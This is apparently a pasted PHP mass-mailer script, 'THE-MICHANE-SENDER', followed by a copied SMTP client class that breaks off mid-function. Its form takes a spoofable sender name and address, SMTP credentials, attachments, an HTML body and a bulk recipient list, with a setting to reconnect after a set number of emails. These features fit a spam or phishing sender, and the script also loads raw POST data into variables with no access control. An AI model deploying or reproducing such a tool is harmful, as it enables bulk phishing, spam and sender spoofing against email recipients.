· 9 years ago · Jan 29, 2017, 12:16 AM
1<?
2function query_str($params){
3$str = '';
4foreach ($params as $key => $value) {
5$str .= (strlen($str) < 1) ? '' : '&';
6$str .= $key . '=' . rawurlencode($value);
7}
8return ($str);
9}
10function lrtrim($string){
11return stripslashes(ltrim(rtrim($string)));
12}
13if(isset($_POST['action'] ) ){
14
15$b = query_str($_POST);
16parse_str($b);
17$sslclick=lrtrim($sslclick);
18$action=lrtrim($action);
19$message=lrtrim($message);
20$emaillist=lrtrim($emaillist);
21$from=lrtrim($from);
22$reconnect=lrtrim($reconnect);
23$epriority=lrtrim($epriority);
24$my_smtp=lrtrim($my_smtp);
25$ssl_port=lrtrim($ssl_port);
26$smtp_username=lrtrim($smtp_username);
27$smtp_password=lrtrim($smtp_password);
28$replyto=lrtrim($replyto);
29$subject=lrtrim($subject);
30$realname=lrtrim($realname);
31$file_name=$_FILES['file']['name'];
32$file=$_FILES['file']['tmp_name'];
33$urlz=lrtrim($urlz);
34$contenttype=lrtrim($contenttype);
35
36 $message = urlencode($message);
37 $message = ereg_replace("%5C%22", "%22", $message);
38 $message = urldecode($message);
39 $message = stripslashes($message);
40 $subject = stripslashes($subject);
41}
42?>
43
44<html>
45
46<head>
47
48<title>THE-MICHANE-SENDER</title>
49
50<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
51
52<style type="text/css">
53<!--
54.style1 {
55 font-family: Geneva, Arial, Helvetica, sans-serif;
56 font-size: 12px;
57}
58-->
59</style>
60<style type="text/css">
61<!--
62.style1 {
63 font-size: 10px;
64 font-family: Geneva, Arial, Helvetica, sans-serif;
65}
66-->
67</style>
68</head>
69<body bgcolor="#FFFFFF" text="#000000">
70<span class="style1">PHP MAILER SENDER BY THE-MICHANE<br>
71brought to you by <font color=\"#800000\">https://www.the-michane.com</font></span>
72<form name="form1" method="post" action="" enctype="multipart/form-data">
73
74 <br>
75
76 <table width="100%" border="0" height="407">
77
78 <tr>
79
80 <td width="100%" colspan="4" bgcolor="#666666" height="36">
81
82 <b>
83
84 <font face="Arial" size="2" color="#FFFFFF"> SMTP SETUP</font></b></td>
85
86 </tr>
87 <tr>
88
89 <td width="10%" height="22" bgcolor="#E8E8E8">
90
91 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP USER:</font></div>
92
93 </td>
94
95 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
96
97 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
98
99 </font></td>
100
101 <td width="31%" height="22" bgcolor="#E8E8E8">
102
103 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP PASS:</font></div>
104
105 </td>
106
107 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
108
109 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
110
111 </font></td>
112
113 </tr>
114 <tr>
115
116 <td width="10%" height="22" bgcolor="#E8E8E8">
117
118 <div align="right">
119 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">PORT :</font></div>
120
121 </td>
122
123 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
124
125 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
126 (optional)</font></td>
127
128 <td width="31%" height="22" bgcolor="#E8E8E8">
129
130 <div align="right">
131 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP SERVER:</font></div>
132
133 </td>
134
135 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
136
137 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
138
139 </font></td>
140
141 </tr>
142 <tr>
143
144 <td width="10%" height="22" bgcolor="#E8E8E8">
145
146 <p align="right">
147 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL SERVER:</font></td>
148
149 <td width="18%" height="22" bgcolor="#E8E8E8">
150 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
151
152 <td width="31%" height="22" bgcolor="#E8E8E8">
153
154 <p align="right">
155 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">RE-CONNECT
156 AFTER:</font></td>
157
158 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
159
160 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
161 EMAILS</font></td>
162
163 </tr>
164 <tr>
165
166 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
167
168 <p align="center">
169 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
170 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
171
172 </tr>
173
174 <tr>
175
176 <td width="10%" height="19">
177
178 </td>
179
180 <td width="18%" height="19"> </td>
181
182 <td width="31%" height="19">
183
184 </td>
185
186 <td width="41%" height="19"> </td>
187
188 </tr>
189
190 <tr>
191
192 <td width="100%" colspan="4" bgcolor="#666666" height="36">
193
194 <b>
195
196 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
197
198 </tr>
199 <tr>
200
201 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
202 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">ATTCH FILE :</font></div>
203 </td>
204
205 <td width="59%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colSpan="3">
206 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
207
208<input type="file" name="file" size="124">
209
210 </font></td>
211
212 </tr>
213 <tr>
214
215 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
216
217 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">YOUR
218
219 EMAIL:</font></div>
220
221 </td>
222
223 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
224
225 <input type="text" name="from" value="<?=$from;?>" size="30">
226
227 </font></td>
228
229 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
230
231 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">YOUR
232
233 NAME:</font></div>
234
235 </td>
236
237 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
238
239 <input type="text" name="realname" value="<?=$realname;?>" size="30">
240
241 </font></td>
242
243 </tr>
244 <tr>
245
246 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
247
248 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">REPLY-TO:</font></div>
249
250 </td>
251
252 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
253
254 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
255
256 </font></td>
257
258 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
259
260 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
261 EMAIL PRIORITY:</font></td>
262
263 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
264
265 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
266 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
267 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
268 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
269 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
270 </select></td>
271
272 </tr>
273
274 <tr>
275
276 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
277
278 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SUBJECT:</font></div>
279
280 </td>
281
282 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
283
284 <input type="text" name="subject" value="<?=$subject;?>" size="90">
285
286 </font></td>
287
288 </tr>
289
290 <tr>
291
292 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
293
294 </td>
295
296 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
297
298 </font></td>
299
300 </tr>
301
302 <tr valign="top">
303
304<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
305
306 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
307
308 <br>
309
310 <input type="radio" name="contenttype" value="plain" >
311
312 Plain
313
314 <input type="radio" name="contenttype" value="html" checked>
315
316 HTML
317
318 <input type="hidden" name="action" value="send">
319
320 <input type="submit" value="Send Message">
321
322 </font></td>
323
324 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
325
326 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
327
328 </font></td>
329
330 </tr>
331
332 </table>
333
334</form>
335
336
337
338<?
339
340if ($action){
341 if (!$from && !$subject && !$message && !$emaillist){
342 print "<script>alert('Please complete all fields before sending your message.'); </script>";
343 die(); }
344
345class SMTP
346{
347 /**
348 * SMTP server port
349 * @var int
350 */
351 var $SMTP_PORT = 25;
352
353 /**
354 * SMTP reply line ending
355 * @var string
356 */
357 var $CRLF = "\r\n";
358
359 /**
360 * Sets whether debugging is turned on
361 * @var bool
362 */
363 var $do_debug; # the level of debug to perform
364
365 /**
366 * Sets VERP use on/off (default is off)
367 * @var bool
368 */
369 var $do_verp = false;
370
371 /**#@+
372 * @access private
373 */
374 var $smtp_conn; # the socket to the server
375 var $error; # error if any on the last call
376 var $helo_rply; # the reply the server sent to us for HELO
377 /**#@-*/
378
379 /**
380 * Initialize the class so that the data is in a known state.
381 * @access public
382 * @return void
383 */
384 function SMTP() {
385 $this->smtp_conn = 0;
386 $this->error = null;
387 $this->helo_rply = null;
388
389 $this->do_debug = 0;
390 }
391
392 /*************************************************************
393 * CONNECTION FUNCTIONS *
394 ***********************************************************/
395
396 /**
397 * Connect to the server specified on the port specified.
398 * If the port is not specified use the default SMTP_PORT.
399 * If tval is specified then a connection will try and be
400 * established with the server for that number of seconds.
401 * If tval is not specified the default is 30 seconds to
402 * try on the connection.
403 *
404 * SMTP CODE SUCCESS: 220
405 * SMTP CODE FAILURE: 421
406 * @access public
407 * @return bool
408 */
409 function Connect($host,$port=0,$tval=30) {
410 # set the error val to null so there is no confusion
411 $this->error = null;
412
413 # make sure we are __not__ connected
414 if($this->connected()) {
415 # ok we are connected! what should we do?
416 # for now we will just give an error saying we
417 # are already connected
418 $this->error = array("error" => "Already connected to a server");
419 return false;
420 }
421
422 if(empty($port)) {
423 $port = $this->SMTP_PORT;
424 }
425
426 #connect to the smtp server
427 $this->smtp_conn = fsockopen($host, # the host of the server
428 $port, # the port to use
429 $errno, # error number if any
430 $errstr, # error message if any
431 $tval); # give up after ? secs
432 # verify we connected properly
433 if(empty($this->smtp_conn)) {
434 $this->error = array("error" => "Failed to connect to server",
435 "errno" => $errno,
436 "errstr" => $errstr);
437 if($this->do_debug >= 1) {
438 echo "SMTP -> ERROR: " . $this->error["error"] .
439 ": $errstr ($errno)" . $this->CRLF;
440 }
441 return false;
442 }
443
444 # sometimes the SMTP server takes a little longer to respond
445 # so we will give it a longer timeout for the first read
446 // Windows still does not have support for this timeout function
447 if(substr(PHP_OS, 0, 3) != "WIN")
448 socket_set_timeout($this->smtp_conn, $tval, 0);
449
450 # get any announcement stuff
451 $announce = $this->get_lines();
452
453 # set the timeout of any socket functions at 1/10 of a second
454 //if(function_exists("socket_set_timeout"))
455 // socket_set_timeout($this->smtp_conn, 0, 100000);
456
457 if($this->do_debug >= 2) {
458 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
459 }
460
461 return true;
462 }
463
464 /**
465 * Performs SMTP authentication. Must be run after running the
466 * Hello() method. Returns true if successfully authenticated.
467 * @access public
468 * @return bool
469 */
470 function Authenticate($username, $password) {
471 // Start authentication
472 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
473
474 $rply = $this->get_lines();
475 $code = substr($rply,0,3);
476
477 if($code != 334) {
478 $this->error =
479 array("error" => "AUTH not accepted from server",
480 "smtp_code" => $code,
481 "smtp_msg" => substr($rply,4));
482 if($this->do_debug >= 1) {
483 echo "SMTP -> ERROR: " . $this->error["error"] .
484 ": " . $rply . $this->CRLF;
485 }
486 return false;
487 }
488
489 // Send encoded username
490 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
491
492 $rply = $this->get_lines();
493 $code = substr($rply,0,3);
494
495 if($code != 334) {
496 $this->error =
497 array("error" => "Username not accepted from server",
498 "smtp_code" => $code,
499 "smtp_msg" => substr($rply,4));
500 if($this->do_debug >= 1) {
501 echo "SMTP -> ERROR: " . $this->error["error"] .
502 ": " . $rply . $this->CRLF;
503 }
504 return false;
505 }
506
507 // Send encoded password
508 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
509
510 $rply = $this->get_lines();
511 $code = substr($rply,0,3);
512
513 if($code != 235) {
514 $this->error =
515 array("error" => "Password not accepted from server",
516 "smtp_code" => $code,
517 "smtp_msg" => substr($rply,4));
518 if($this->do_debug >= 1) {
519 echo "SMTP -> ERROR: " . $this->error["error"] .
520 ": " . $rply . $this->CRLF;
521 }
522 return false;
523 }
524
525 return true;
526 }
527
528 /**
529 * Returns true if connected to a server otherwise false
530 * @access private
531 * @return bool
532 */
533 function Connected() {
534 if(!empty($this->smtp_conn)) {
535 $sock_status = socket_get_status($this->smtp_conn);
536 if($sock_status["eof"]) {
537 # hmm this is an odd situation... the socket is
538 # valid but we are not connected anymore
539 if($this->do_debug >= 1) {
540 echo "SMTP -> NOTICE:" . $this->CRLF .
541 "EOF caught while checking if connected";
542 }
543 $this->Close();
544 return false;
545 }
546 return true; # everything looks good
547 }
548 return false;
549 }
550
551 /**
552 * Closes the socket and cleans up the state of the class.
553 * It is not considered good to use this function without
554 * first trying to use QUIT.
555 * @access public
556 * @return void
557 */
558 function Close() {
559 $this->error = null; # so there is no confusion
560 $this->helo_rply = null;
561 if(!empty($this->smtp_conn)) {
562 # close the connection and cleanup
563 fclose($this->smtp_conn);
564 $this->smtp_conn = 0;
565 }
566 }
567
568 /***************************************************************
569 * SMTP COMMANDS *
570 *************************************************************/
571
572 /**
573 * Issues a data command and sends the msg_data to the server
574 * finializing the mail transaction. $msg_data is the message
575 * that is to be send with the headers. Each header needs to be
576 * on a single line followed by a <CRLF> with the message headers
577 * and the message body being seperated by and additional <CRLF>.
578 *
579 * Implements rfc 821: DATA <CRLF>
580 *
581 * SMTP CODE INTERMEDIATE: 354
582 * [data]
583 * <CRLF>.<CRLF>
584 * SMTP CODE SUCCESS: 250
585 * SMTP CODE FAILURE: 552,554,451,452
586 * SMTP CODE FAILURE: 451,554
587 * SMTP CODE ERROR : 500,501,503,421
588 * @access public
589 * @return bool
590 */
591 function Data($msg_data) {
592 $this->error = null; # so no confusion is caused
593
594 if(!$this->connected()) {
595 $this->error = array(
596 "error" => "Called Data() without being connected");
597 return false;
598 }
599
600 fputs($this->smtp_conn,"DATA" . $this->CRLF);
601
602 $rply = $this->get_lines();
603 $code = substr($rply,0,3);
604
605 if($this->do_debug >= 2) {
606 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
607 }
608
609 if($code != 354) {
610 $this->error =
611 array("error" => "DATA command not accepted from server",
612 "smtp_code" => $code,
613 "smtp_msg" => substr($rply,4));
614 if($this->do_debug >= 1) {
615 echo "SMTP -> ERROR: " . $this->error["error"] .
616 ": " . $rply . $this->CRLF;
617 }
618 return false;
619 }
620
621 # the server is ready to accept data!
622 # according to rfc 821 we should not send more than 1000
623 # including the CRLF
624 # characters on a single line so we will break the data up
625 # into lines by \r and/or \n then if needed we will break
626 # each of those into smaller lines to fit within the limit.
627 # in addition we will be looking for lines that start with
628 # a period '.' and append and additional period '.' to that
629 # line. NOTE: this does not count towards are limit.
630
631 # normalize the line breaks so we know the explode works
632 $msg_data = str_replace("\r\n","\n",$msg_data);
633 $msg_data = str_replace("\r","\n",$msg_data);
634 $lines = explode("\n",$msg_data);
635
636 # we need to find a good way to determine is headers are
637 # in the msg_data or if it is a straight msg body
638 # currently I am assuming rfc 822 definitions of msg headers
639 # and if the first field of the first line (':' sperated)
640 # does not contain a space then it _should_ be a header
641 # and we can process all lines before a blank "" line as
642 # headers.
643 $field = substr($lines[0],0,strpos($lines[0],":"));
644 $in_headers = false;
645 if(!empty($field) && !strstr($field," ")) {
646 $in_headers = true;
647 }
648
649 $max_line_length = 998; # used below; set here for ease in change
650
651 while(list(,$line) = @each($lines)) {
652 $lines_out = null;
653 if($line == "" && $in_headers) {
654 $in_headers = false;
655 }
656 # ok we need to break this line up into several
657 # smaller lines
658 while(strlen($line) > $max_line_length) {
659 $pos = strrpos(substr($line,0,$max_line_length)," ");
660
661 # Patch to fix DOS attack
662 if(!$pos) {
663 $pos = $max_line_length - 1;
664 }
665
666 $lines_out[] = substr($line,0,$pos);
667 $line = substr($line,$pos + 1);
668 # if we are processing headers we need to
669 # add a LWSP-char to the front of the new line
670 # rfc 822 on long msg headers
671 if($in_headers) {
672 $line = "\t" . $line;
673 }
674 }
675 $lines_out[] = $line;
676
677 # now send the lines to the server
678 while(list(,$line_out) = @each($lines_out)) {
679 if(strlen($line_out) > 0)
680 {
681 if(substr($line_out, 0, 1) == ".") {
682 $line_out = "." . $line_out;
683 }
684 }
685 fputs($this->smtp_conn,$line_out . $this->CRLF);
686 }
687 }
688
689 # ok all the message data has been sent so lets get this
690 # over with aleady
691 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
692
693 $rply = $this->get_lines();
694 $code = substr($rply,0,3);
695
696 if($this->do_debug >= 2) {
697 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
698 }
699
700 if($code != 250) {
701 $this->error =
702 array("error" => "DATA not accepted from server",
703 "smtp_code" => $code,
704 "smtp_msg" => substr($rply,4));
705 if($this->do_debug >= 1) {
706 echo "SMTP -> ERROR: " . $this->error["error"] .
707 ": " . $rply . $this->CRLF;
708 }
709 return false;
710 }
711 return true;
712 }
713
714 /**
715 * Expand takes the name and asks the server to list all the
716 * people who are members of the _list_. Expand will return
717 * back and array of the result or false if an error occurs.
718 * Each value in the array returned has the format of:
719 * [ <full-name> <sp> ] <path>
720 * The definition of <path> is defined in rfc 821
721 *
722 * Implements rfc 821: EXPN <SP> <string> <CRLF>
723 *
724 * SMTP CODE SUCCESS: 250
725 * SMTP CODE FAILURE: 550
726 * SMTP CODE ERROR : 500,501,502,504,421
727 * @access public
728 * @return string array
729 */
730 function Expand($name) {
731 $this->error = null; # so no confusion is caused
732
733 if(!$this->connected()) {
734 $this->error = array(
735 "error" => "Called Expand() without being connected");
736 return false;
737 }
738
739 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
740
741 $rply = $this->get_lines();
742 $code = substr($rply,0,3);
743
744 if($this->do_debug >= 2) {
745 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
746 }
747
748 if($code != 250) {
749 $this->error =
750 array("error" => "EXPN not accepted from server",
751 "smtp_code" => $code,
752 "smtp_msg" => substr($rply,4));
753 if($this->do_debug >= 1) {
754 echo "SMTP -> ERROR: " . $this->error["error"] .
755 ": " . $rply . $this->CRLF;
756 }
757 return false;
758 }
759
760 # parse the reply and place in our array to return to user
761 $entries = explode($this->CRLF,$rply);
762 while(list(,$l) = @each($entries)) {
763 $list[] = substr($l,4);
764 }
765
766 return $list;
767 }
768
769 /**
770 * Sends the HELO command to the smtp server.
771 * This makes sure that we and the server are in
772 * the same known state.
773 *
774 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
775 *
776 * SMTP CODE SUCCESS: 250
777 * SMTP CODE ERROR : 500, 501, 504, 421
778 * @access public
779 * @return bool
780 */
781 function Hello($host="") {
782 $this->error = null; # so no confusion is caused
783
784 if(!$this->connected()) {
785 $this->error = array(
786 "error" => "Called Hello() without being connected");
787 return false;
788 }
789
790 # if a hostname for the HELO was not specified determine
791 # a suitable one to send
792 if(empty($host)) {
793 # we need to determine some sort of appopiate default
794 # to send to the server
795 $host = "localhost";
796 }
797
798 // Send extended hello first (RFC 2821)
799 if(!$this->SendHello("EHLO", $host))
800 {
801 if(!$this->SendHello("HELO", $host))
802 return false;
803 }
804
805 return true;
806 }
807
808 /**
809 * Sends a HELO/EHLO command.
810 * @access private
811 * @return bool
812 */
813 function SendHello($hello, $host) {
814 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
815
816 $rply = $this->get_lines();
817 $code = substr($rply,0,3);
818
819 if($this->do_debug >= 2) {
820 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
821 }
822
823 if($code != 250) {
824 $this->error =
825 array("error" => $hello . " not accepted from server",
826 "smtp_code" => $code,
827 "smtp_msg" => substr($rply,4));
828 if($this->do_debug >= 1) {
829 echo "SMTP -> ERROR: " . $this->error["error"] .
830 ": " . $rply . $this->CRLF;
831 }
832 return false;
833 }
834
835 $this->helo_rply = $rply;
836
837 return true;
838 }
839
840 /**
841 * Gets help information on the keyword specified. If the keyword
842 * is not specified then returns generic help, ussually contianing
843 * A list of keywords that help is available on. This function
844 * returns the results back to the user. It is up to the user to
845 * handle the returned data. If an error occurs then false is
846 * returned with $this->error set appropiately.
847 *
848 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
849 *
850 * SMTP CODE SUCCESS: 211,214
851 * SMTP CODE ERROR : 500,501,502,504,421
852 * @access public
853 * @return string
854 */
855 function Help($keyword="") {
856 $this->error = null; # to avoid confusion
857
858 if(!$this->connected()) {
859 $this->error = array(
860 "error" => "Called Help() without being connected");
861 return false;
862 }
863
864 $extra = "";
865 if(!empty($keyword)) {
866 $extra = " " . $keyword;
867 }
868
869 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
870
871 $rply = $this->get_lines();
872 $code = substr($rply,0,3);
873
874 if($this->do_debug >= 2) {
875 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
876 }
877
878 if($code != 211 && $code != 214) {
879 $this->error =
880 array("error" => "HELP not accepted from server",
881 "smtp_code" => $code,
882 "smtp_msg" => substr($rply,4));
883 if($this->do_debug >= 1) {
884 echo "SMTP -> ERROR: " . $this->error["error"] .
885 ": " . $rply . $this->CRLF;
886 }
887 return false;
888 }
889
890 return $rply;
891 }
892
893 /**
894 * Starts a mail transaction from the email address specified in
895 * $from. Returns true if successful or false otherwise. If True
896 * the mail transaction is started and then one or more Recipient
897 * commands may be called followed by a Data command.
898 *
899 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
900 *
901 * SMTP CODE SUCCESS: 250
902 * SMTP CODE SUCCESS: 552,451,452
903 * SMTP CODE SUCCESS: 500,501,421
904 * @access public
905 * @return bool
906 */
907 function Mail($from) {
908 $this->error = null; # so no confusion is caused
909
910 if(!$this->connected()) {
911 $this->error = array(
912 "error" => "Called Mail() without being connected");
913 return false;
914 }
915
916 $useVerp = ($this->do_verp ? "XVERP" : "");
917 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
918
919 $rply = $this->get_lines();
920 $code = substr($rply,0,3);
921
922 if($this->do_debug >= 2) {
923 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
924 }
925
926 if($code != 250) {
927 $this->error =
928 array("error" => "MAIL not accepted from server",
929 "smtp_code" => $code,
930 "smtp_msg" => substr($rply,4));
931 if($this->do_debug >= 1) {
932 echo "SMTP -> ERROR: " . $this->error["error"] .
933 ": " . $rply . $this->CRLF;
934 }
935 return false;
936 }
937 return true;
938 }
939
940 /**
941 * Sends the command NOOP to the SMTP server.
942 *
943 * Implements from rfc 821: NOOP <CRLF>
944 *
945 * SMTP CODE SUCCESS: 250
946 * SMTP CODE ERROR : 500, 421
947 * @access public
948 * @return bool
949 */
950 function Noop() {
951 $this->error = null; # so no confusion is caused
952
953 if(!$this->connected()) {
954 $this->error = array(
955 "error" => "Called Noop() without being connected");
956 return false;
957 }
958
959 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
960
961 $rply = $this->get_lines();
962 $code = substr($rply,0,3);
963
964 if($this->do_debug >= 2) {
965 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
966 }
967
968 if($code != 250) {
969 $this->error =
970 array("error" => "NOOP not accepted from server",
971 "smtp_code" => $code,
972 "smtp_msg" => substr($rply,4));
973 if($this->do_debug >= 1) {
974 echo "SMTP -> ERROR: " . $this->error["error"] .
975 ": " . $rply . $this->CRLF;
976 }
977 return false;
978 }
979 return true;
980 }
981
982 /**
983 * Sends the quit command to the server and then closes the socket
984 * if there is no error or the $close_on_error argument is true.
985 *
986 * Implements from rfc 821: QUIT <CRLF>
987 *
988 * SMTP CODE SUCCESS: 221
989 * SMTP CODE ERROR : 500
990 * @access public
991 * @return bool
992 */
993 function Quit($close_on_error=true) {
994 $this->error = null; # so there is no confusion
995
996 if(!$this->connected()) {
997 $this->error = array(
998 "error" => "Called Quit() without being connected");
999 return false;
1000 }
1001
1002 # send the quit command to the server
1003 fputs($this->smtp_conn,"quit" . $this->CRLF);
1004
1005 # get any good-bye messages
1006 $byemsg = $this->get_lines();
1007
1008 if($this->do_debug >= 2) {
1009 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1010 }
1011
1012 $rval = true;
1013 $e = null;
1014
1015 $code = substr($byemsg,0,3);
1016 if($code != 221) {
1017 # use e as a tmp var cause Close will overwrite $this->error
1018 $e = array("error" => "SMTP server rejected quit command",
1019 "smtp_code" => $code,
1020 "smtp_rply" => substr($byemsg,4));
1021 $rval = false;
1022 if($this->do_debug >= 1) {
1023 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1024 $byemsg . $this->CRLF;
1025 }
1026 }
1027
1028 if(empty($e) || $close_on_error) {
1029 $this->Close();
1030 }
1031
1032 return $rval;
1033 }
1034
1035 /**
1036 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1037 * Returns true if the recipient was accepted false if it was rejected.
1038 *
1039 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1040 *
1041 * SMTP CODE SUCCESS: 250,251
1042 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1043 * SMTP CODE ERROR : 500,501,503,421
1044 * @access public
1045 * @return bool
1046 */
1047 function Recipient($to) {
1048 $this->error = null; # so no confusion is caused
1049
1050 if(!$this->connected()) {
1051 $this->error = array(
1052 "error" => "Called Recipient() without being connected");
1053 return false;
1054 }
1055
1056 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1057
1058 $rply = $this->get_lines();
1059 $code = substr($rply,0,3);
1060
1061 if($this->do_debug >= 2) {
1062 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1063 }
1064
1065 if($code != 250 && $code != 251) {
1066 $this->error =
1067 array("error" => "RCPT not accepted from server",
1068 "smtp_code" => $code,
1069 "smtp_msg" => substr($rply,4));
1070 if($this->do_debug >= 1) {
1071 echo "SMTP -> ERROR: " . $this->error["error"] .
1072 ": " . $rply . $this->CRLF;
1073 }
1074 return false;
1075 }
1076 return true;
1077 }
1078
1079 /**
1080 * Sends the RSET command to abort and transaction that is
1081 * currently in progress. Returns true if successful false
1082 * otherwise.
1083 *
1084 * Implements rfc 821: RSET <CRLF>
1085 *
1086 * SMTP CODE SUCCESS: 250
1087 * SMTP CODE ERROR : 500,501,504,421
1088 * @access public
1089 * @return bool
1090 */
1091 function Reset() {
1092 $this->error = null; # so no confusion is caused
1093
1094 if(!$this->connected()) {
1095 $this->error = array(
1096 "error" => "Called Reset() without being connected");
1097 return false;
1098 }
1099
1100 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1101
1102 $rply = $this->get_lines();
1103 $code = substr($rply,0,3);
1104
1105 if($this->do_debug >= 2) {
1106 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1107 }
1108
1109 if($code != 250) {
1110 $this->error =
1111 array("error" => "RSET failed",
1112 "smtp_code" => $code,
1113 "smtp_msg" => substr($rply,4));
1114 if($this->do_debug >= 1) {
1115 echo "SMTP -> ERROR: " . $this->error["error"] .
1116 ": " . $rply . $this->CRLF;
1117 }
1118 return false;
1119 }
1120
1121 return true;
1122 }
1123
1124 /**
1125 * Starts a mail transaction from the email address specified in
1126 * $from. Returns true if successful or false otherwise. If True
1127 * the mail transaction is started and then one or more Recipient
1128 * commands may be called followed by a Data command. This command
1129 * will send the message to the users terminal if they are logged
1130 * in.
1131 *
1132 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1133 *
1134 * SMTP CODE SUCCESS: 250
1135 * SMTP CODE SUCCESS: 552,451,452
1136 * SMTP CODE SUCCESS: 500,501,502,421
1137 * @access public
1138 * @return bool
1139 */
1140 function Send($from) {
1141 $this->error = null; # so no confusion is caused
1142
1143 if(!$this->connected()) {
1144 $this->error = array(
1145 "error" => "Called Send() without being connected");
1146 return false;
1147 }
1148
1149 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1150
1151 $rply = $this->get_lines();
